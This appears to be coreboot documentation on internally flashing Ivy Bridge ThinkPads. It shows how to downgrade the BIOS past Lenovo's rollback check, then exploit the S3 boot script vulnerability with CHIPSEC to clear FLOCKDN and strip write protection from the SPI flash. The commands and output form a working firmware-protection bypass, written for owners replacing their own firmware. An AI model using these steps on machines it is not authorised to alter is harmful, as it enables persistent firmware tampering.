1# Ivy Bridge Lenovo ThinkPad Internal Flashing 2 3## Introduction 4 5Old versions of stock BIOS for these models have several security issues. 6In order to flash coreboot internally, two of them are of interest. 7 8**First** is the fact the `SMM_BWP` and `BLE` are not enabled in BIOS 9versions released before 2014. We have tested many versions on T430 and 10X230 and found out that `SMM_BWP=1` only since the update, the changelog 11of which contains following line: 12 13> (New) Improved the UEFI BIOS security feature. 14 15**Second** is [S3 Boot Script vulnerability](https://support.lenovo.com/eg/ru/product_security/s3_boot_protect), 16that was discovered and fixed later. 17 18## Requirements 19 20- USB drive (in case you need to downgrade BIOS) 21- Linux install that (can be) loaded in UEFI mode 22```{toctree} 23:maxdepth: 1 24 25CHIPSEC <https://github.com/chipsec/chipsec> 26``` 27 28## BIOS versions 29 30Below is a table of BIOS versions that are vulnerable enough for our 31goals, per model. The version number means that you need to downgrade to 32that or earlier version. 33 34```{eval-rst} 35+------------+--------------+ 36| Model | BIOS version | 37+============+==============+ 38| X230 | 2.60 | 39+------------+--------------+ 40| X230T | 2.58 | 41+------------+--------------+ 42| T430 | 2.64 | 43+------------+--------------+ 44| T430s | 2.59 | 45+------------+--------------+ 46| T530 | 2.60 | 47+------------+--------------+ 48| W530 | 2.58 | 49+------------+--------------+ 50``` 51 52If your BIOS version is equal or lower, skip to the 53**[Examining protections](#examining-protections-theory)** section. If not, 54go through the downgrade process, described next. 55 56## Downgrading BIOS 57 58Go to the Lenovo web site and download BIOS Update Bootable CD for your 59machine of needed version (see above). 60 61Lenovo states that BIOS has "security rollback prevention", meaning once 62you update it to some version X, you will not be able to downgrade it to 63pre-X version. That's not true. It seems that this is completely 64client-side restriction in flashing utilities (both Windows utility and 65Bootable CD). You just need to call `winflash.exe` or `dosflash.exe` 66directly. Therefore you need to modify the bootable CD image you just 67downloaded. 68 69Extract an El Torito image: 70 71 geteltorito -o ./bios.img g1uj41us.iso 72 73Mount the partition in that image: 74 75 sudo mount -t vfat ./bios.img /mnt -o loop,offset=16384 76 77List files, find the `AUTOEXEC.BAT` file and the `FLASH` directory: 78 79 ls /mnt 80 ls /mnt/FLASH 81 82Inside the `FLASH` directory, there should be a directory called 83`G1ET93WW` or similar (exact name depends on your ThinkPad model and 84BIOS version). See what's inside: 85 86 ls /mnt/FLASH/G1ET93WW 87 88There must be a file with `.FL1` extension called `$01D2000.FL1` or 89something similar. 90 91Now open the `AUTOEXEC.BAT` file: 92 93 sudo vim /mnt/AUTOEXEC.BAT 94 95You will see a list of commands: 96 97 @ECHO OFF 98 PROMPT $p$g 99 cd c:\flash 100 command.com 101 102Replace the last line (`command.com`) with this (change path to the 103`.FL1` file according to yours): 104 105 dosflash.exe /sd /file G1ET93WW\$01D2000.FL1 106 107Save the file, then unmount the partition: 108 109 sudo umount /mnt 110 111Write this image to a USB drive (replace `/dev/sdX` with your USB drive 112device name): 113 114 sudo dd if=./bios.img of=/dev/sdX bs=1M 115 116Now reboot and press F1 to enter BIOS settings. Open the **Startup** tab 117and set the startup mode to **Legacy** (or **Both**/**Legacy First**): 118 119 120 121Press F10 to save changes and reboot. 122 123Now, before you process, make sure that AC adapter is connected! If your 124battery will die during the process, you'll likely need external 125programmer to recover. 126 127Boot from the USB drive (press F12 to select boot device), and BIOS 128flashing process should begin: 129 130 131 132 133 134It may reboot a couple of times in the process. Do not interrupt it. 135 136When it's completed, go back to the BIOS settings and set startup mode 137to **UEFI** (or **Both**/**UEFI First**). This is required for 138vulnerability exploitation. 139 140 141 142Then boot to your system and make sure that `/sys/firmware/efi` or 143`/sys/firmware/efivars` exist. 144 145## Examining protections (theory) 146 147There are two main ways that Intel platform provides to protect BIOS 148chip: 149- **BIOS_CNTL** register of LPC Interface Bridge Registers (accessible 150 via PCI configuration space, offset 0xDC). It has: 151 * **SMM_BWP** (*SMM BIOS Write Protect*) bit. If set to 1, the BIOS is 152 writable only in SMM. Once set to 1, cannot be changed anymore. 153 * **BLE** (*BIOS Lock Enable*) bit. If set to 1, setting BIOSWE to 1 154 will raise SMI. Once set to 1, cannot be changed anymore. 155 * **BIOSWE** (*BIOS Write Enable*) bit. Controls whether BIOS is 156 writable. This bit is always R/W. 157- SPI Protected Range Registers (**PR0**-**PR4**) of SPI Configuration 158 Registers (SPIBAR+0x74 - SPIBAR+0x84). Each register has bits that 159 define protected range, plus WP bit, that defines whether write 160 protection is enabled. 161 162 There's also **FLOCKDN** bit of HSFS register (SPIBAR+0x04) of SPI 163 Configuration Registers. When set to 1, PR0-PR4 registers cannot be 164 written. Once set to 1, cannot be changed anymore. 165 166To be able to flash, we need `SMM_BWP=0`, `BIOSWE=1`, `BLE=0`, `FLOCKDN=0` or 167SPI protected ranges (PRx) to have a WP bit set to 0. 168 169Let's see what we have. Examine `HSFS` register: 170 171 sudo chipsec_main -m chipsec.modules.common.spi_lock 172 173You should see that `FLOCKDN=1`: 174 175 [x][ ======================================================================= 176 [x][ Module: SPI Flash Controller Configuration Locks 177 [x][ ======================================================================= 178 [*] HSFS = 0xE009 << Hardware Sequencing Flash Status Register (SPIBAR + 0x4) 179 [00] FDONE = 1 << Flash Cycle Done 180 [01] FCERR = 0 << Flash Cycle Error 181 [02] AEL = 0 << Access Error Log 182 [03] BERASE = 1 << Block/Sector Erase Size 183 [05] SCIP = 0 << SPI cycle in progress 184 [13] FDOPSS = 1 << Flash Descriptor Override Pin-Strap Status 185 [14] FDV = 1 << Flash Descriptor Valid 186 [15] FLOCKDN = 1 << Flash Configuration Lock-Down 187 188Then check `BIOS_CNTL` and PR0-PR4: 189 190 sudo chipsec_main -m common.bios_wp 191 192Good news: on old BIOS versions, `SMM_BWP=0` and `BLE=0`. 193 194Bad news: there are 4 write protected SPI ranges: 195 196 [x][ ======================================================================= 197 [x][ Module: BIOS Region Write Protection 198 [x][ ======================================================================= 199 [*] BC = 0x 8 << BIOS Control (b:d.f 00:31.0 + 0xDC) 200 [00] BIOSWE = 0 << BIOS Write Enable 201 [01] BLE = 0 << BIOS Lock Enable 202 [02] SRC = 2 << SPI Read Configuration 203 [04] TSS = 0 << Top Swap Status 204 [05] SMM_BWP = 0 << SMM BIOS Write Protection 205 [-] BIOS region write protection is disabled! 206 207 [*] BIOS Region: Base = 0x00500000, Limit = 0x00BFFFFF 208 SPI Protected Ranges 209 ------------------------------------------------------------ 210 PRx (offset) | Value | Base | Limit | WP? | RP? 211 ------------------------------------------------------------ 212 PR0 (74) | 00000000 | 00000000 | 00000000 | 0 | 0 213 PR1 (78) | 8BFF0B40 | 00B40000 | 00BFFFFF | 1 | 0 214 PR2 (7C) | 8B100B10 | 00B10000 | 00B10FFF | 1 | 0 215 PR3 (80) | 8ADE0AD0 | 00AD0000 | 00ADEFFF | 1 | 0 216 PR4 (84) | 8AAF0800 | 00800000 | 00AAFFFF | 1 | 0 217 218Other way to examine SPI configuration registers is to just dump SPIBAR: 219 220 sudo chipsec_util mmio dump SPIBAR 221 222You will see `SPIBAR` address (0xFED1F800) and registers (for example, 223`00000004` is `HSFS`): 224 225 [mmio] MMIO register range [0x00000000FED1F800:0x00000000FED1F800+00000200]: 226 +00000000: 0BFF0500 227 +00000004: 0004E009 228 ... 229 230As you can see, the only thing we need is to unset WP bit on PR0-PR4. 231But that cannot be done once `FLOCKDN` is set to 1. 232 233Now the fun part! 234 235`FLOCKDN` may only be cleared by a hardware reset, which includes S3 236state. On S3 resume boot path, the chipset configuration has to be 237restored and it's done by executing so-called S3 Boot Scripts. You can 238dump these scripts by executing: 239 240 sudo chipsec_util uefi s3bootscript 241 242There are many entries. Along them, you can find instructions to write 243to `HSFS` (remember, we know that `SPIBAR` is 0xFED1F800): 244 245 Entry at offset 0x2B8F (len = 0x17, header len = 0x0): 246 Data: 247 02 00 17 02 00 00 00 01 00 00 00 04 f8 d1 fe 00 | 248 00 00 00 09 e0 04 00 | 249 Decoded: 250 Opcode : S3_BOOTSCRIPT_MEM_WRITE (0x0002) 251 Width : 0x02 (4 bytes) 252 Address: 0xFED1F804 253 Count : 0x1 254 Values : 0x0004E009 255 256These scripts are stored in memory. The vulnerability is that we can 257overwrite this memory, change these instructions and they will be 258executed on S3 resume. Once we patch that instruction to not set `FLOCKDN` 259bit, we will be able to write to PR0-PR4 registers. 260 261## Creating a backup 262 263Before you proceed, please create a backup of the `bios` region. Then, 264in case something goes wrong, you'll be able to flash it back externally. 265 266The `me` region is locked, so an attempt to create a full dump will fail. 267But you can back up the `bios`: 268 269 sudo flashrom -p internal -r bios_backup.rom --ifd -i bios 270 271If you will ever need to flash it back, use `--ifd -i bios` as well: 272 273 sudo flashrom -p <YOUR_PROGRAMMER> -w bios_backup.rom --ifd -i bios 274 275**Caution:** if you will omit `--ifd -i bios` for flashing, you will 276brick your machine, because your backup has `FF`s in place of `fd` and 277`me` regions. Flash only `bios` region! 278 279## Removing protections (practice) 280 281The original boot script writes 0xE009 to `HSFS`. `FLOCKDN` is 15th bit, so 282let's write 0x6009 instead: 283 284 sudo chipsec_main -m tools.uefi.s3script_modify -a replace_op,mmio_wr,0xFED1F804,0x6009,0x2 285 286You will get a lot of output and in the end you should see something 287like this: 288 289 [*] Modifying S3 boot script entry at address 0x00000000DAF49B8F.. 290 [mem] 0x00000000DAF49B8F 291 [*] Original entry: 292 2 0 17 2 0 0 0 1 0 0 0 4 f8 d1 fe 0 | 293 0 0 0 9 e0 4 0 | 294 [mem] buffer len = 0x17 to PA = 0x00000000DAF49B8F 295 2 0 17 2 0 0 0 1 0 0 0 4 f8 d1 fe 0 | 296 0 0 0 9 60 0 0 | ` 297 [mem] 0x00000000DAF49B8F 298 [*] Modified entry: 299 2 0 17 2 0 0 0 1 0 0 0 4 f8 d1 fe 0 | 300 0 0 0 9 60 0 0 | ` 301 [*] After sleep/resume, check the value of register 0xFED1F804 is 0x6009 302 [+] PASSED: The script has been modified. Go to sleep.. 303 304Now go to S3, then resume and check `FLOCKDN`. It should be 0: 305 306 sudo chipsec_main -m chipsec.modules.common.spi_lock 307 308 ... 309 [x][ ======================================================================= 310 [x][ Module: SPI Flash Controller Configuration Locks 311 [x][ ======================================================================= 312 [*] HSFS = 0x6008 << Hardware Sequencing Flash Status Register (SPIBAR + 0x4) 313 [00] FDONE = 0 << Flash Cycle Done 314 [01] FCERR = 0 << Flash Cycle Error 315 [02] AEL = 0 << Access Error Log 316 [03] BERASE = 1 << Block/Sector Erase Size 317 [05] SCIP = 0 << SPI cycle in progress 318 [13] FDOPSS = 1 << Flash Descriptor Override Pin-Strap Status 319 [14] FDV = 1 << Flash Descriptor Valid 320 [15] FLOCKDN = 0 << Flash Configuration Lock-Down 321 [-] SPI Flash Controller configuration is not locked 322 [-] FAILED: SPI Flash Controller not locked correctly. 323 ... 324 325Remove WP from protected ranges: 326 327 sudo chipsec_util mmio write SPIBAR 0x74 0x4 0xAAF0800 328 sudo chipsec_util mmio write SPIBAR 0x78 0x4 0xADE0AD0 329 sudo chipsec_util mmio write SPIBAR 0x7C 0x4 0xB100B10 330 sudo chipsec_util mmio write SPIBAR 0x80 0x4 0xBFF0B40 331 332Verify that it worked: 333 334 sudo chipsec_main -m common.bios_wp 335 336 [x][ ======================================================================= 337 [x][ Module: BIOS Region Write Protection 338 [x][ ======================================================================= 339 [*] BC = 0x 9 << BIOS Control (b:d.f 00:31.0 + 0xDC) 340 [00] BIOSWE = 1 << BIOS Write Enable 341 [01] BLE = 0 << BIOS Lock Enable 342 [02] SRC = 2 << SPI Read Configuration 343 [04] TSS = 0 << Top Swap Status 344 [05] SMM_BWP = 0 << SMM BIOS Write Protection 345 [-] BIOS region write protection is disabled! 346 347 [*] BIOS Region: Base = 0x00500000, Limit = 0x00BFFFFF 348 SPI Protected Ranges 349 ------------------------------------------------------------ 350 PRx (offset) | Value | Base | Limit | WP? | RP? 351 ------------------------------------------------------------ 352 PR0 (74) | 0AAF0800 | 00800000 | 00AAF000 | 0 | 0 353 PR1 (78) | 0ADE0AD0 | 00AD0000 | 00ADE000 | 0 | 0 354 PR2 (7C) | 0B100B10 | 00B10000 | 00B10000 | 0 | 0 355 PR3 (80) | 0BFF0B40 | 00B40000 | 00BFF000 | 0 | 0 356 PR4 (84) | 00000000 | 00000000 | 00000000 | 0 | 0 357 358Bingo! 359 360Now you can [flash internally]. Remember to flash only the `bios` region 361(use `--ifd -i bios -N` flashrom arguments). `fd` and `me` are still 362locked. 363 364Note that you should have an external SPI programmer as a backup method. 365It will help you recover if you flash non-working ROM by mistake. 366 367 368[flash internally]: ../../tutorial/flashing_firmware/int_flashrom.md 369